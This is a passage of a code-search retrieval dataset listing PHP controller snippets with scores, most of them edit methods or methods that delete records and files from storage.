edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c82f3deec0c5d707b0537679d0cdb5f6", "score": "0.5570697", "text": "function wiki_edit_page($page_id, $title, $description, $notes, $hide_posts, $meta_keywords, $meta_description, $member = null, $edit_time = null, $add_time = null, $views = null, $null_is_literal = false)\n{\n if (is_null($edit_time)) {\n $edit_time = $null_is_literal ? null : time();\n }\n\n $pages = $GLOBALS['SITE_DB']->query_select('wiki_pages', array('*'), array('id' => $page_id), '', 1);\n if (!array_key_exists(0, $pages)) {\n warn_exit(do_lang_tempcode('MISSING_RESOURCE', 'wiki_page'));\n }\n $page = $pages[0];\n $_description = $page['description'];\n $_title = $page['title'];\n\n $log_id = log_it('WIKI_EDIT_PAGE', strval($page_id), get_translated_text($_title));\n if (addon_installed('actionlog')) {\n require_code('revisions_engine_database');\n $revision_engine = new RevisionEngineDatabase();\n $revision_engine->add_revision(\n 'wiki_page',\n strval($page_id),\n strval($page_id),\n get_translated_text($_title),\n get_translated_text($_description),\n $page['submitter'],\n $page['add_date'],\n $log_id\n );\n }\n\n $update_map = array(\n 'hide_posts' => $hide_posts,\n 'notes' => $notes,\n );\n\n $update_map['edit_date'] = $edit_time;\n if (!is_null($add_time)) {\n $update_map['add_date'] = $add_time;\n }\n if (!is_null($views)) {\n $update_map['wiki_views'] = $views;\n }\n if (!is_null($member)) {\n $update_map['submitter'] = $member;\n } else {\n $member = $page['submitter'];\n }\n\n require_code('attachments2');\n require_code('attachments3');\n\n $update_map += lang_remap('title', $_title, $title);\n $update_map += update_lang_comcode_attachments('description', $_description, $description, 'wiki_page', strval($page_id), null, $member);\n\n $GLOBALS['SITE_DB']->query_update('wiki_pages', $update_map, array('id' => $page_id), '', 1);\n\n require_code('seo2');\n seo_meta_set_for_explicit('wiki_page', strval($page_id), $meta_keywords, $meta_description);\n\n if (post_param_integer('send_notification', null) !== 0) {\n dispatch_wiki_page_notification($page_id, 'EDIT');\n }\n\n if ((addon_installed('commandr')) && (!running_script('install')) && (!get_mass_import_mode())) {\n require_code('resource_fs');\n generate_resource_fs_moniker('wiki_page', strval($page_id));\n }\n\n require_code('sitemap_xml');\n notify_sitemap_node_edit('_SEARCH:wiki:browse:' . strval($page_id), has_category_access($GLOBALS['FORUM_DRIVER']->get_guest_id(), 'wiki', strval($page_id)));\n}", "title": "" }, { "docid": "2d6eeaadce442520918ef0a77145f6ab", "score": "0.5569587", "text": "public function executeEditView()\n {\n // we have an external editor instead\n $this->setup();\n }", "title": "" }, { "docid": "be8a885eac62fb311d810e95555470e2", "score": "0.55660826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "96ba5c233cda4a55489cad788fe0151b", "score": "0.5564392", "text": "function Content_edit()\n\t{\n\t\t// Without this, the world as we know it will end!\n\t\tparent::Controller();\n\n\t\t// Does the \"core\" class exist? Normally it's initialized\n\t\t// automatically via the autoload.php file. If it doesn't\n\t\t// exist it means there's a problem.\n\t\tif ( ! isset($this->core) OR ! is_object($this->core))\n\t\t{\n\t\t\tshow_error('The ExpressionEngine Core was not initialized. Please make sure your autoloader is correctly set up.');\n\t\t}\n\n\t\t$this->installed_modules = $this->cp->get_installed_modules();\n\t\t\n\t\t$this->load->library('api');\n\n\t\t$this->load->model('channel_model');\n\t\t$this->load->model('channel_entries_model');\n\t\t$this->load->model('category_model');\n\t\t$this->load->model('status_model');\n\t\t$this->load->model('search_model');\n\t}", "title": "" }, { "docid": "88a760b980e90d8c0d6f02a72e60ab86", "score": "0.5559977", "text": "public function editAction()\n {\n $page = $this->app->page;\n\n $title = \"Redigera\";\n\n $contentId = getPostContent(\"contentId\") ?: getGet(\"id\");\n\n $content = $this->content->editContent($contentId);\n\n $data = [\n \"content\" => $content\n ];\n\n $page->add(\"content/header\");\n $page->add(\"content/edit\", $data);\n\n return $page->render([\n \"title\" => $title\n ]);\n }", "title": "" }, { "docid": "38d233d675b5d70a434119b7e18b7a68", "score": "0.5558015", "text": "function editTodo() {\n\n $results = array();\n $results['pageTitle'] = \"Edit To-Do\";\n $results['formAction'] = \"editTodo\";\n $results['errorReturnAction'] = \"listTodos\";\n $results['errorMessage'] = \"To-do not found. Please try again.\";\n\n if ( isset( $_POST['saveChanges'] ) ) {\n\n // User has posted the to-do edit form: save the changes\n if ( !checkAuthToken() ) return;\n\n if ( $todo = Todo::getById( (int)$_POST['todoId'] ) ) {\n if ( $todo->userId == User::getLoggedInUser()->id ) {\n $todo->__construct( $_POST );\n $todo->update();\n header( \"Location: \" . APP_URL . \"?action=listTodos\" );\n } else {\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n }\n \n } else {\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n }\n\n } elseif ( isset( $_POST['cancel'] ) ) {\n\n // User has canceled their edits: return to the to-do list\n header( \"Location: \" . APP_URL . \"?action=listTodos\" );\n\n } else {\n\n // User has not posted the to-do edit form yet: display the form\n if ( $results['todo'] = Todo::getById( (int)$_GET['todoId'] ) ) {\n if ( $results['todo']->userId == User::getLoggedInUser()->id ) {\n require( TEMPLATE_PATH . \"/editTodo.php\" );\n } else {\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n }\n\n } else {\n require( TEMPLATE_PATH . \"/errorDialog.php\" );\n }\n }\n}", "title": "" }, { "docid": "3e99562fcb63fbda7060d878ab379ebf", "score": "0.55528265", "text": "public function edit(Page $page)\n {\n //\n }", "title": "" }, { "docid": "f50c396bcb0b85b19088cd7852f60b52", "score": "0.5551121", "text": "public function watchAction() {\n\n //GET TOPIC SUBJECT\n $topic = Engine_Api::_()->core()->getSubject();\n\n //GET SITEREVIEW OBJECT\n $sitereview = Engine_Api::_()->getItem('sitereview_listing', $topic->listing_id);\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n\n $watch = $this->_getParam('watch', true);\n $topicWatchesTable = Engine_Api::_()->getDbtable('topicWatches', 'sitereview');\n $db = $topicWatchesTable->getAdapter();\n $db->beginTransaction();\n try {\n $resultWatch = $topicWatchesTable\n ->select()\n ->from($topicWatchesTable->info('name'), 'watch')\n ->where('resource_id = ?', $sitereview->getIdentity())\n ->where('topic_id = ?', $topic->getIdentity())\n ->where('user_id = ?', $viewer->getIdentity())\n ->limit(1)\n ->query()\n ->fetchAll();\n if (empty($resultWatch))\n $isWatching = 0;\n else\n $isWatching = 1;\n\n if (false == $isWatching) {\n $topicWatchesTable->insert(array(\n 'resource_id' => $sitereview->getIdentity(),\n 'topic_id' => $topic->getIdentity(),\n 'user_id' => $viewer->getIdentity(),\n 'watch' => (bool) $watch,\n ));\n } else {\n $topicWatchesTable->update(array(\n 'watch' => (bool) $watch,\n ), array(\n 'resource_id = ?' => $sitereview->getIdentity(),\n 'topic_id = ?' => $topic->getIdentity(),\n 'user_id = ?' => $viewer->getIdentity(),\n ));\n }\n $db->commit();\n } catch (Exception $e) {\n $db->rollBack();\n throw $e;\n }\n $this->_redirectCustom($topic);\n }", "title": "" }, { "docid": "734c5ea4db477a6a89fce9414ef2f1c5", "score": "0.554892", "text": "public function editquery() {\n\n // get form variables\n $id = $this->request->getParameter(\"id\");\n $name = $this->request->getParameter(\"name\");\n\n // get the user list\n $this->model->edit($id, $name);\n $this->redirect(\"psentryreason\");\n }", "title": "" }, { "docid": "b379e0283ca7b6d2316f140ccce6dfbf", "score": "0.55422187", "text": "public function editAfterSubmit() {\n\t\t$this->registerAfterSubmit ( \"edit\" );\n\t}", "title": "" }, { "docid": "3ca91e6d77341c04404406d9a1a16740", "score": "0.5537892", "text": "public function doAddPage() {\n $filterTemplate = array(\n \"entity\" => FILTER_SANITIZE_STRING,\n );\n $filteredData = filter_input_array(INPUT_GET, $filterTemplate);\n\n if($filteredData['entity']) {\n $this->view->show($filteredData['entity'].'s/edit'.ucfirst($filteredData['entity']).'.php');\n }\n\n }", "title": "" }, { "docid": "65e8833688dacf9dafe88992db25e398", "score": "0.55341643", "text": "public function edit() {\n $page = StaticPage::where('page', 'help')->first();\n return view('admin.help.edit', compact('page'));\n }", "title": "" }, { "docid": "7d8b36006fc5554555b5498e4d62290f", "score": "0.55321413", "text": "public function edit(Request $request)\n {\n //\n }", "title": "" }, { "docid": "7d8b36006fc5554555b5498e4d62290f", "score": "0.55321413", "text": "public function edit(Request $request)\n {\n //\n }", "title": "" }, { "docid": "7d8b36006fc5554555b5498e4d62290f", "score": "0.55321413", "text": "public function edit(Request $request)\n {\n //\n }", "title": "" }, { "docid": "b32f410f0c9a04235f9f488d95275603", "score": "0.55305684", "text": "public function edit() {\n\t\t$data['pagetitle'] = 'Dashboard - Edit Posts';\n\n\t\t$data['postid'] = $viewmodel->getPostById($postid['id'] );\n\t\tView::renderAdminTemplate($data, \"App/Views/admin/edit/index.php\") ;\n\t}", "title": "" }, { "docid": "e73067a8f5b9e79d6667ad146041904d", "score": "0.5530233", "text": "function edit()\n {\n }", "title": "" }, { "docid": "856f78edf61cb9395c047c578cd172b8", "score": "0.5524207", "text": "public function edit(){\n\t\n\t\n\t\t\n\t}", "title": "" }, { "docid": "f36205392dfb39cddb31ae801d42b9c2", "score": "0.5523973", "text": "static function processEditForm($request, $block);", "title": "" }, { "docid": "815b5584beea75233b3b1a6b0d66d137", "score": "0.55189383", "text": "public function executeEdit(sfWebRequest $request)\n\t{\n\t\t$this->forward404Unless($this->aFormSubmission = $this->getRoute()->getObject());\n\t\t$this->form = new aFormBuilder($this->aFormSubmission);\n\t}", "title": "" }, { "docid": "d49f9d68864bbd1c5b981e624c585c8e", "score": "0.55181205", "text": "private function fronteEnd() {\n\n //project resource\n if (request('commentresource_type') == 'project') {\n if ($project = \\App\\Models\\Project::Where('project_id', request('commentresource_id'))->first()) {\n //add some form fields data\n request()->merge([\n 'comment_clientid' => $project->project_clientid,\n ]);\n } else {\n //error not found\n Log::error(\"the resource project could not be found\", ['process' => '[permissions][comments][create]', 'ref' => config('app.debug_ref'), 'function' => __function__, 'comment' => basename(__FILE__), 'line' => __line__, 'path' => __file__]);\n abort(404);\n }\n }\n\n //lead resource\n if (request('commentresource_type') == 'task') {\n if ($task = \\App\\Models\\Task::Where('task_id', request('commentresource_id'))->first()) {\n //add some form fields data\n request()->merge([\n 'comment_clientid' => $lead->task_clientid,\n ]);\n } else {\n //error not found\n Log::error(\"the resource project could not be found\", ['process' => '[permissions][comments][create]', 'ref' => config('app.debug_ref'), 'function' => __function__, 'comment' => basename(__FILE__), 'line' => __line__, 'path' => __file__]);\n abort(404);\n }\n }\n\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55180246", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55180246", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "73dee46020a852067daf5e90cd56957a", "score": "0.55180246", "text": "public function edit()\n {\n }", "title": "" }, { "docid": "362ed327f56e3c93b6fd5cb9a965b3c1", "score": "0.55118597", "text": "public function processRequest() {\n $action = \"\";\n //retrieve action from client.\n if (filter_has_var(INPUT_GET, 'action')) {\n $action = filter_input(INPUT_GET, 'action');\n }\n\n switch ($action) {\n case 'login':\n $this->login(); \n break;\n case 'register':\n $this->register(); //list all articles\n break;\n case 'search':\n $this->search(); //show a form for an article\n break;\n case 'searchList':\n $this->searchList();\n break;\n case 'remove':\n $this->removeArticle();\n break;\n case 'modify':\n $this->modifyArticle();\n break;\n case 'listCategoryForm':\n $this->listCategoryForm();\n break;\n case 'listCategory':\n $this->listCategory();\n break;\n default :\n break;\n }\n }", "title": "" }, { "docid": "2700b4584dcb331a456886a0b54f1cac", "score": "0.5509015", "text": "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "title": "" }, { "docid": "4de481ebd6762f25e72060b19624e55d", "score": "0.5505318", "text": "function doedit(){\r\n\t\tif(!isset($this->post['editsubmit'])){\r\n\t\t\t$did=isset($this->get[2])?$this->get[2]:'';\r\n\t\t\tif(!is_numeric($did)){\r\n\t\t\t\t$this->message($this->view->lang['docIdMustNum'],'BACK');\r\n\t\t\t}\r\n\t\t\t$focus=$this->db->fetch_by_field('focus','did',$did);\r\n\t\t\t$focus['time']=$this->date($focus['time']);\r\n\t\t\t$this->view->assign(\"focus\",$focus);\r\n\t\t\t$this->view->display(\"admin_focus_content\");\r\n\t\t}else{\r\n\t\t\t$did=isset($this->post['did'])?$this->post['did']:'';\r\n\t\t\tif(!is_numeric($did)){\r\n\t\t\t\t$this->message($this->view->lang['docIdMustNum'],'BACK');\r\n\t\t\t}\r\n\t\t\t$summary=_string::hiconv($this->post['summary']);\r\n\t\t\t$image=_string::hiconv($this->post['image']);\r\n\t\t\t$order=$this->post['displayorder'];\r\n\t\t\t$type=$this->post['doctype'];\r\n\t\t\tif(is_numeric($order)&&$_ENV['doc']->save_focus_content($did,$summary,$image,$order,$type)){\r\n\t\t\t\t$this->cache->removecache('data_'.$GLOBALS['theme'].'_index');\r\n\t\t\t\t$this->message($this->view->lang['docEditSuccess'],\"index.php?admin_focus-edit-$did\");\r\n\t\t\t}else{\r\n\t\t\t\t$this->message($this->view->lang['docEditFail'],'BACK');\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "64789e1840b3c7f45875b4d534173773", "score": "0.55049264", "text": "public function edit(Request $request)\n {\n\n }", "title": "" }, { "docid": "64789e1840b3c7f45875b4d534173773", "score": "0.55049264", "text": "public function edit(Request $request)\n {\n\n }", "title": "" }, { "docid": "7d1b8109b3c09f58f4b101d4fbddbd25", "score": "0.5504072", "text": "public function edit()\n {\n \n \n }", "title": "" }, { "docid": "fb4ad08b59f053d0e28d73dd241c8eca", "score": "0.55009097", "text": "public function annimalEditAction()\n {\n }", "title": "" }, { "docid": "082c8473738d98dfd54197c8eca0a63c", "score": "0.54981804", "text": "function editEvent($req, &$t) {\n\n\t\t$t['picForm'] = $this->_loadPictureForm();\n\t}", "title": "" }, { "docid": "68e61933cfa559737563714dcf8d0793", "score": "0.54976326", "text": "function handle_actions() {\n $id = filter_input(INPUT_GET, 'id');\n global $subscribers;\n global $log;\n\n // POST\n $action = filter_input(INPUT_POST, 'action');\n if ($action == 'create') { \n $log->log('Subscriber CREATE'); // CREATE\n $subscribers->add();\n }\n \n\n // GET\n $action = filter_input(INPUT_GET, 'action');\n if (empty($action)) { \n $log->log('Subscriber READ'); // READ\n return $subscribers->list_view();\n }\n if ($action == 'add') {\n $log->log('Subscriber Add View');\n return $subscribers->add_view();\n }\n }", "title": "" }, { "docid": "d27141b19f44843ba1450d6cede6dacf", "score": "0.5495003", "text": "function editBuildingHandler() {\n global $inputs;\n\n $res = updateDb('building', [\n 'building_name' => $inputs['name'], \n 'address' => $inputs['address'],\n 'description' => $inputs['desc'],\n 'area' => $inputs['area']],\n ['id' => $inputs['id']]);\n\n formatOutput(true, 'update success', $res);\n}", "title": "" }, { "docid": "8a5e065d2796e08ce86daf1edfffd4bd", "score": "0.5494642", "text": "public function edit(Request $request)\n {\n \n }", "title": "" }, { "docid": "8a5e065d2796e08ce86daf1edfffd4bd", "score": "0.5494642", "text": "public function edit(Request $request)\n {\n \n }", "title": "" }, { "docid": "7fa9aac36f96ed44c7619059f2eb3a28", "score": "0.549395", "text": "public function edit(RequestEngineer $requestEngineer)\n {\n //\n }", "title": "" }, { "docid": "a7a41d5d3ed7be24cad6e9890ed8029f", "score": "0.5491331", "text": "public function editUrl() {}", "title": "" }, { "docid": "de86b86b8e86f08e4c54b580569c1605", "score": "0.5488114", "text": "public function handleEdit(Request $request)\n\t{\n\t\t$this->validate($request, [\n\t\t\t\"name\" => \"required|min:2|max:200\", // also in the migration\n\t\t\t\"description\" => \"max:2000\",\n\t\t\t\"alphaid\" => \"required\",\n\t\t]);\n\t\t$sprite = Sprite::where(\"alphaid\", \"=\", $request->input(\"alphaid\"));\n\t\tif (!$sprite->exists()) abort(404);\n\t\t$sprite = $sprite->first();\n\t\tif ($sprite->username != Auth::user()->alphaid) abort(403);\n\t\t// All data clear! Continue:\n\t\t$sprite->title = $request->input(\"name\");\n\t\t$sprite->description = $request->input(\"description\");\n\t\t$sprite->save();\n\t\treturn redirect(\"/sprite/\".$sprite->alphaid);\n\t}", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
[ { "docid": "eddb5e057796c58b98f4bbbf837adb99", "score": "0.0", "text": "public function delete(Request $request, $id)\n {\n $project = Projects::find($id);\n\n if ($project->delete()) {\n $request->Session()->flash('alert-danger', 'projects details deleted was successful!');\n return redirect('admin/projects');\n } else {\n $request->Session()->flash('alert-error', 'projects details deleted was failed!');\n }\n }", "title": "" } ]
[ { "docid": "67120cc52c09f1239f92f34fd173437e", "score": "0.7333458", "text": "function remove($resource)\n {\n }", "title": "" }, { "docid": "dcc1d6b4440ac73f55e995eb411296ea", "score": "0.6932749", "text": "public function destroy($id)\n {\n dd('Remove the specified resource from storage.');\n }", "title": "" }, { "docid": "96aa9ea6689a46a9441f009aa879d999", "score": "0.6885214", "text": "public function removeResource($resource)\n {\n // Remove the Saved Resource\n $join = new User_resource();\n $join->user_id = $this->id;\n $join->resource_id = $resource->id;\n $join->delete();\n\n // Remove the Tags from the resource\n $join = new Resource_tags();\n $join->user_id = $this->id;\n $join->resource_id = $resource->id;\n $join->delete();\n }", "title": "" }, { "docid": "d522def58731edf5dda07c4a8e3cb839", "score": "0.6839906", "text": "public function remove(IUser $user, ?IResource $resource): void;", "title": "" }, { "docid": "5b18f4f0f245d93e1d14486ac0afbbc7", "score": "0.6735704", "text": "public function remove(ResourceInterface $resource)\n {\n $this->_em->remove($resource);\n $this->_em->flush($resource);\n }", "title": "" }, { "docid": "6ffd51684d27200dd20bb77ae5392465", "score": "0.65282005", "text": "public function dispatchOnPostRemoveResource($resource);", "title": "" }, { "docid": "20340ae69f46965449dc508b639c84e9", "score": "0.6511765", "text": "public function remove_storage()\n\t{\n\t\t$this->_storage->destroy_storage();\n\t}", "title": "" }, { "docid": "8566de5772ba8f11471da580f8907d09", "score": "0.64848197", "text": "public static function remove(string $resourcePath): void\n {\n $file = self::generatePath(\n self::generateHash($resourcePath)\n );\n\n if (\\is_file($file)) {\n \\unlink($file);\n }\n }", "title": "" }, { "docid": "b9b85ab47af2f085664ea4fb3f54b26d", "score": "0.6444909", "text": "public function dispatchOnPreRemoveResource($resource);", "title": "" }, { "docid": "ae13b12a81ef5a04c54c2ae2a1fbfc6f", "score": "0.61720115", "text": "public function unsetStorageId();", "title": "" }, { "docid": "8c0ed41f8673fd843b7ffdb22bce5eb0", "score": "0.611688", "text": "public function afterDelete($resource)\n {\n return $resource;\n }", "title": "" }, { "docid": "77d39170a9748d8eca11f292068832c6", "score": "0.6077847", "text": "public function delete($storageName, $key);", "title": "" }, { "docid": "43dc6df10818b4435103bc0ee31fc8d1", "score": "0.6045101", "text": "public function destroy($id)\n {\n $record = Resource::where('id', $id)->get();\n\n if (!empty($record[0])) {\n DB::beginTransaction();\n\n $isRemoved = self::remove($record);\n }\n }", "title": "" }, { "docid": "db4382353b96e87cb5a70c801383930a", "score": "0.603214", "text": "public function delete($resourceId = null, $options = []);", "title": "" }, { "docid": "a2014b07fec4eb27432905d903e64664", "score": "0.59784347", "text": "public function destroy($id)\n {\n $storage = Storage::find($id);\n if($storage->item())\n {\n $storage->item()->detach();\n if( $storage->delete() )\n {\n return response('Deleted.',200);\n }\n }\n return response('Error.',400);\n }", "title": "" }, { "docid": "6dd2ae009f2219fb531720e25a26531d", "score": "0.5974692", "text": "public function remove() {\n\t\t$this->storage->rmdir($this->path);\n\t\t$this->user->triggerChange('avatar');\n\t}", "title": "" }, { "docid": "462a710c39c75c675bfe433bce80e2fe", "score": "0.5951811", "text": "public function destroy()\n {\n if ($this->instance instanceof Storage) {\n $this->instance->destroy();\n }\n $this->instance = null;\n }", "title": "" }, { "docid": "c39bd1cfb71eb924026011c0e976a9d4", "score": "0.5933563", "text": "public function delete(string $resourceType, $modelOrResourceId): void;", "title": "" }, { "docid": "31f350f911a74d37fb3a78e6981becb5", "score": "0.5921418", "text": "public function removeStorage()\n\t{\n\t\t$this->taskExec('docker rm chrome-print-storage')->run();\n\t}", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "d03fcfa49d2ade09cffc8d88d701076d", "score": "0.58893216", "text": "public function dropStorageFromName($storageName);", "title": "" }, { "docid": "7a7d76b4d53301e7ae6922b772849358", "score": "0.5886972", "text": "public function destroy($file)\n {\n $file = File::where('id', $file)->first();\n $url = str_replace('storage', 'public', $file->url);\n Storage::delete($url);\n $file->delete();\n return redirect()->route('files.index')->with('eliminar', 'ok');\n }", "title": "" }, { "docid": "3f6a8794d81fc01347d2f3307ac44d78", "score": "0.58504206", "text": "public function destroy($id)\n {\n //\n\n $contratista= contratistas::findOrFail($id);\n\n if (Storage::delete('public/'.$contratista->Foto)){\n Contratistas::destroy($id);\n\n }\n\n \n \n return redirect('contratistas')->with('Mensaje','Contratista eliminado');\n }", "title": "" }, { "docid": "a85763dd50ac74b8d2b8124b1c0e3e7b", "score": "0.5850285", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n return back()->with('info', 'Resource deleted');\n }", "title": "" }, { "docid": "02a5bc50f3aa8ecd04834387832bc77c", "score": "0.5844418", "text": "public function destroy($id)\n {\n // $this->authorize('haveaccess','producto.destroy');\n $producto= Producto::findOrFail($id);\n\n if(Storage::delete('public/'.$producto->imagen)){\n\n Producto::destroy($id); \n }\n\n return redirect('producto');\n }", "title": "" }, { "docid": "8f406917023a0110d93d6350033a3ab5", "score": "0.58313775", "text": "public function removeItem($id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "title": "" }, { "docid": "a193f7ebf258b5fb63b8919a07678081", "score": "0.5821789", "text": "public function removeAll ($storage) {}", "title": "" }, { "docid": "dc36a581460d40a22ac889b4e61a4ab9", "score": "0.58165264", "text": "public function removeResource($resourceID)\n {\n $resourceID = db::escapechars($resourceID);\n $sql = \"DELETE FROM kidschurchresources WHERE resourceID='$resourceID' LIMIT 1\";\n $result = db::execute($sql);\n if($result){\n return true;\n }\n else{\n return false;\n }\n }", "title": "" }, { "docid": "8f1b5736b25701e2b67e4f655f581689", "score": "0.57634306", "text": "public function testResourceRemoveOne()\n {\n $resourceArea = new Zend_Acl_Resource('area');\n $this->_acl->add($resourceArea)\n ->remove($resourceArea);\n $this->assertFalse($this->_acl->has($resourceArea));\n }", "title": "" }, { "docid": "5cc9f2ec9efb9c5303b848052688e6c4", "score": "0.5744329", "text": "public function destroy($id)\n {\n $product = Product::findOrFail($id);\n $filename = $product->image;\n $product->delete();\n Storage::delete($filename);\n }", "title": "" }, { "docid": "4d84ab18e7e3c7bf3662c486977fb999", "score": "0.57371354", "text": "public function delete() {\n return $this->storage->delete($this->getId());\n }", "title": "" }, { "docid": "cbac86afaa4d65131418099d416a05f8", "score": "0.5731129", "text": "public function destroy($id)\n {\n $resource = Resource::find($id);\n\n if ($fileName = $resource->book->name) {\n $file = public_path() . '/resources/' . $fileName;\n unlink($file);\n }\n\n $resource->delete();\n\n $message = 'El recurso literario \"' . $resource->title . '\" ha sido eliminado.';\n $class = 'danger';\n\n Session::flash('message', $message);\n Session::flash('class', $class);\n\n return redirect()->route('admin.resources.index');\n }", "title": "" }, { "docid": "fec8d4881ffc82e41c0642f366a1a75a", "score": "0.5726655", "text": "public function delete($resource)\n {\n return DB::transaction(function () use ($resource) {\n $resource = $this->beforeDelete($resource);\n\n $resource->delete();\n\n return $this->afterDelete($resource);\n });\n }", "title": "" }, { "docid": "b8c78cd19161cf7966e7567365e984a3", "score": "0.56849074", "text": "public function remove(): void;", "title": "" }, { "docid": "bf109080b5ee3a89d2c795999303aee7", "score": "0.5680265", "text": "public function delete(){\n if($this->removable) {\n $directory = $this->getRootDir();\n\n App::fs()->remove($directory);\n }\n }", "title": "" }, { "docid": "8bbd28cf62ed375a2f7518342e1d75ae", "score": "0.56680655", "text": "public function removeFile();", "title": "" }, { "docid": "3819490d97e5dfe8f2ffd81ae03e6e53", "score": "0.56674856", "text": "public function remove(ReadModelInterface $element);", "title": "" }, { "docid": "b182edae2a719de4edc919c7a7b5885e", "score": "0.5663417", "text": "public function destroy($id)\n {\n\n $post = Roler::findOrFail($id);\n\n $path=public_path('/storage/uploads/');\n if (isset($post->image)) {\n $oldname=$post->image;\n File::delete($path.''.$oldname);\n }\n\n if (Roler::where('id', $id)->delete()) {\n\n return redirect()->back()->with('success', 'Record deleted successfully');\n\n }\n \n return redirect()->back();\n\n }", "title": "" }, { "docid": "2d475aa3098e33e6020ec88b30a03b25", "score": "0.5662905", "text": "public function purgeAsset($asset);", "title": "" }, { "docid": "cb1740d372b49263432bcc5cf39f97d8", "score": "0.56595594", "text": "public function destroy($id)\n {\n $emp = Employee::where('id',$id)->first();\n $photo = $emp->image;\n if($photo){\n unlink($photo);\n $emp->delete();\n }else{\n $emp->delete();\n }\n\n }", "title": "" }, { "docid": "7567af40a4901dd5dd42113b0bbccb95", "score": "0.56567484", "text": "public function removeResource($name)\n {\n unset($this->resources[$name]);\n if ($name === 'file') {\n $this->resources['file'] = array(\n 'class' => 'Dwoo\\Template\\File',\n 'compiler' => null\n );\n }\n }", "title": "" }, { "docid": "dc84ba400b70ef909d87e4a92424f6ac", "score": "0.5648853", "text": "public function destroy($id)\n {\n $album = Album::find($id);\n if($album==null){\n return reidrect('/portfolio')->with('error','this portfolio does not exist');\n }else{\n if(Storage::delete('public/album_covers/'.$album->cover_image)){\n $album->delete();\n return redirect('/portfolio')->with('success','Album removed');\n }\n }\n}", "title": "" }, { "docid": "ff85d8135b960df73371ee3703e738a4", "score": "0.5643097", "text": "public function destroy($id)\n {\n $file_name = DB::table(\"research\")->where('id',$id)->value('research_image');\n unlink(public_path(\"front/assets/images/what-we-do/research/\".$file_name)); \n DB::table(\"research\")->where('id',$id)->delete();\n return redirect()->route('all-research')->with('msg','Research deleted successfully with the image');\n }", "title": "" }, { "docid": "4dfae537943a63cbddf6151c77a88821", "score": "0.5636697", "text": "public function destroy($id)\n { \n $products = Product::findOrFail($id);\n // $delete = $products->slug;\n if($products->slug) {\n \\File::delete( public_path('storage/'.$products->slug ) );\n }\n \n // File::delete(public_path(\"storage/\"), $delete);\n Product::destroy($id);\n return redirect()->route('product-list.index')->with('success','Product Destory Successfully !!!');\n\n }", "title": "" }, { "docid": "d261281fcf3d7ca08f9b610eb6c3b1f0", "score": "0.56346554", "text": "public function destroy($id)\n {\n $photo = Photo::findOrFail($id);\n unlink(public_path() . $photo->image_url);\n $photo->delete();\n }", "title": "" }, { "docid": "e56ffdb12b7e8ce9ce9b709dd82f37f7", "score": "0.56325144", "text": "public function removeById($id);", "title": "" }, { "docid": "e56ffdb12b7e8ce9ce9b709dd82f37f7", "score": "0.56325144", "text": "public function removeById($id);", "title": "" }, { "docid": "5e46d09ef2d1d9f143d6831260992e3f", "score": "0.56248415", "text": "public function destroy($id)\n {\n $pres=Prescription::find($id);\n $fileName=$pres->item;\n unlink(storage_path().'/'.'app'.'/'.'public' .'/'.'prescriptions'.'/'. $fileName);\n $pres->delete();\n }", "title": "" }, { "docid": "0428848b8d6110c6be21d9479ece2192", "score": "0.56237406", "text": "public function removeImage()\n {\n if (!empty($this->image) && !empty($this->id)) {\n $path = storage_path($this->image);\n if (is_file($path)) {\n unlink($path);\n }\n if (is_file($path.'.thumb.jpg')) {\n unlink($path.'.thumb.jpg');\n }\n }\n }", "title": "" }, { "docid": "1ed1ac142686a23f0827e755ecbc86db", "score": "0.5618705", "text": "public function delete($resource, array $args = [], array $options = []) {\n return $this->do('DELETE', $resource, $args, $options);\n\n }", "title": "" }, { "docid": "c0ac500c5b367ee589c3c33143eb832b", "score": "0.5617002", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n return response()->json(['success' => 'borrado correctamente']);\n }", "title": "" }, { "docid": "a9c212129736f6a4e7fd4eddbccc6f2f", "score": "0.56163317", "text": "public function destroy($id)\n {\n $delete = Supplier::where(\"id\", $id)->first();\n $img = $delete->photo;\n if($img){\n unlink('backend/assets/images/supplier/'.$img);\n $delete->delete();\n toast('Supplier Information Delete Successfully','success');\n return redirect()->route('index.supplier');\n }else{\n toast('Supplier Not Deleted','success');\n return redirect()->route('index.supplier');\n }\n }", "title": "" }, { "docid": "6b5dbac631e37705e1c7cf319db2d7e6", "score": "0.56112254", "text": "public function deleteFromDisk()\n {\n return Storage::disk($this->getLocalDiskName())->delete($this->getStoragePath(true));\n }", "title": "" }, { "docid": "30687a12463a759554c0cdd15b679592", "score": "0.56098014", "text": "public function remove (EntityInterface $entity);", "title": "" }, { "docid": "14d4df02668a2d07f51666ab31e093b8", "score": "0.5609148", "text": "public function 